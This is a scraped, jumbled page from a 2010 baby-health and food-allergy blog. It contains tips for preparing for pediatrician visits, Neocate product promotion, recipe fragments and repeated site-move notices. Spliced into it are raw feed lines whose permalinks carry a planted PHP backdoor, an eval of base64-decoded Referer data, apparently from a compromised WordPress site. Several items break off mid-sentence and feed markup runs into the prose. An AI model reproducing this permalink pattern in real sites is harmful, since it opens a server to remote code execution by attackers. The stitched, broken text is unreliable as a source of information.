Be sure to check it all out at www.FoodAllergyLiving.net and let us know what you think. Also, don’t forget to update your bookmarks and RSS feeds. See you all there!

Talking to you doctor isnt always easy, but it is an important part of getting good health care - especially when you are trying to figure out what is bothering your little one and get them quickly diagnosed and treated. You want to make sure you arrive for your visit prepared with the right information and ask plenty of questions. I wanted to share a few tips that can help you get ready for your next visit to the pediatrician, GI or allergist.

1. Keep a diary of your little ones symptoms: what they are, when they started, how frequent and if certain foods or medicines make them worse.
2. Make sure they know what different formulas and medicines you have already tried and what affect they had (i.e. did they make some symptoms better and others worse?).
3. If there is a particular type of treatment (formula, medication) that you are interested in, bring information about it in case the doctor hasnt heard of it. There are so many different options out there, and your doc may or may not be familiar with all of them.
4. Make sure that you completely understand your doctors explanations and instructions for new treatments. I get so many questions from parents who dont understand their doctors instructions about mixing formula or transitioning onto Neocate.
5. Call ahead to see if there are any tests scheduled and how you need to prepare. For example, a lot of GI docs like to test stool samples so bringing one in with you can save some time in the waiting room!

Is there anything else that you have found helpful before visiting your doc? I know of some moms who have even taken videos and pictures so that their docs can get a better sense of their childrens symptoms. What worked for you? -Nita

Getting Kids Back to Nature Today’s children spend little or no time outside. Children’s physical activity specialist Rae Pica offers her advice on getting your kids outdoors.

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The study conducted by the Australian team at the University of Queensland included nearly 7,500 participants, 3,000 mothers and their children, claims that smoking during pregnancy substantially increases the risk of giving birth to babies who eventually turn into smokers. The researchers were interested in smoking habits of mothers during pregnancy and smoking patterns of [.]

Popular Baby Names: Naming Tips Want a popular baby name?  Perhaps just some tips on how to name your baby?

A Summer Treat: Dairy Free Ice Cream With the heat and humidity reaching their peaks this month, we wanted to share with you a recipe for dairy-free ice cream that is both nutritious and delicious for your little ones. Nutra Apple Milk-Free Ice Cream Ingredients: 8 scoops (37 g) Neocate Nutra powder 3 Tbsp applesauce, unsweetened 2 fl oz water ]]> http://babyhealthadvice.com/2010/03/09/in-the-news-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://babyhealthadvice.com/2010/03/09/allergy-resources-eur-facebook/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://babyhealthadvice.com/2010/03/09/allergy-resources-eur-facebook/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 09 Mar 2010 12:31:03 +0000 admin

Why I’m Thankful - Part 2 We’ve Moved! To better reflect the focus of our blog, we have a new name (and a new home) EUR Food Allergy Living at www.foodallergyliving.net. At the new address, you’ll still be able to find blog entries from your favorite nutrition specialists twice a week. But youll also find some new goodies that will be updated once a month and distributed to subscribers as a newsletter. Youll be able to count on a new recipe every month, submit your own questions to the nutrition specialists and see some beautiful smiles in our Neocate Faces section. Be sure to check it all out at www.FoodAllergyLiving.net and let us know what you think. Also, don’t forget to update your bookmarks and RSS feeds. See you all there! You may have read Sarahs EUR ]]> http://babyhealthadvice.com/2010/03/09/allergy-resources-eur-facebook/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://babyhealthadvice.com/2010/03/09/how-britney-losing-weight-after-pregnancy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://babyhealthadvice.com/2010/03/09/how-britney-losing-weight-after-pregnancy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 09 Mar 2010 06:54:09 +0000 admin

How Britney Losing Weight After Pregnancy Our celebrity blog reported that last week Britney Spears spotted in Malibu on a shopping spree for a wardrobe for her new slender frame and celebrate her new skinny body. The pretty star has lost over half the weight she gained after having two babies. She reportedly gained 40 pounds during her first pregnancy with [.]

Creating Balance In A Child’s Life I am making a passionate plea to parents and teachers who believe that schooling is the alpha and omega of a child’s life. Often, schools have convinced students and parents that a child’s focus must exclusively be centered on academic concerns during every waking hour.

A Fresh Look At Schooling: The Role of Grades (Part 3 of 3) The purpose of schooling is to teach our children to learn and produce quality work. In order to accomplish this goal, our schools must re-think the ways in which they view the educational process.

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What’s going around? The U.S. has seen a steady drop in H1N1 infections in the past few weeks. In fact, I have not diagnosed a child with H1N1 in about 10 days. Yippee!!! Of course, the usual germ suspects have.

How To Talk With Your Kids Often, counseling children and adults can be a very gratifying experience. A while back, I had a father who joined the counseling process with his teenage son. I had been seeing the son for individual sessions. The father requested being involved, with his son’s agreement, so that the two of them could learn more effective ways of communicating about significant issues.

RECALL: Infant Suffocation Deaths Prompt Recall of Amby Baby Motion Beds/Hammocks News from CPSC U.S. Consumer Product Safety Commission Office of Information and Public Affairs Washington, D.C. 20207 For Immediate Release Firms Recall Hotline: (866) 544-9721 December 8, 2009 CPSC Recall Hotline: (800) 638-2772 Release #10-FOR CLEARANCE CPSC Media Contact: (301).

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Great News EUR Neocate just launched new dairy-free Flavor Straws! Available in Strawberry, Banana and Cookies and Cream the straws are kid-friendly and designed to introduce new flavors to children on Neocate Junior and Neocate One+.

Interested in trying out the straws? Visit www.Nutricia-NA.com/flavorstraws. Nutricia is offering 20 Flavor Straws free for every case of Neocate Junior or Neocate One+ that you purchase.

Also, check with your healthcare provider for samples.

Do you think your children will enjoy Flavor Straws? Let us know what you think and which flavors are their favorites!

- Sarah

Jenny McCarthy changes her mind? Those of you who follow this blog and read my books know that I have never supported Jenny McCarthy’s claims that her son developed autism from vaccines. Despite the overwhelming lack of scientific evidence, her “mission” to improve public awareness.

We’ve Moved! To better reflect the focus of our blog, we have a new name (and a new home) EUR Food Allergy Living at www.foodallergyliving.net. At the new address, you’ll still be able to find blog entries from your favorite nutrition specialists twice a week. But youll also find some new goodies that will be updated once a month and distributed to subscribers as a newsletter. Youll be able to count on a new recipe every month, submit your own questions to the nutrition specialists and see some beautiful smiles in our Neocate Faces section. Be sure to check it all out at www.FoodAllergyLiving.net and let us know what you think. Also, don’t forget to update your bookmarks and RSS feeds. See you all there!

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A new Milk Allergy Desensitization study is being conducted at Childrens Hospital Boston. Cameras followed the first patient to participate in the study, Brett Nasuti, along the way. Brett is 11 years old and was born with allergies to 15 different foods, including a severe milk allergy.

The first video in this three part series features Brett and his mother Robin talking about the challenges the family faces living with his milk allergy. In the second video Dr. Lynda Schneider, MD, the Allergy Program Director, discusses the details of her groundbreaking study and how the clinical trial works. Finally, in the third video we get to watch as Brett takes his first EUR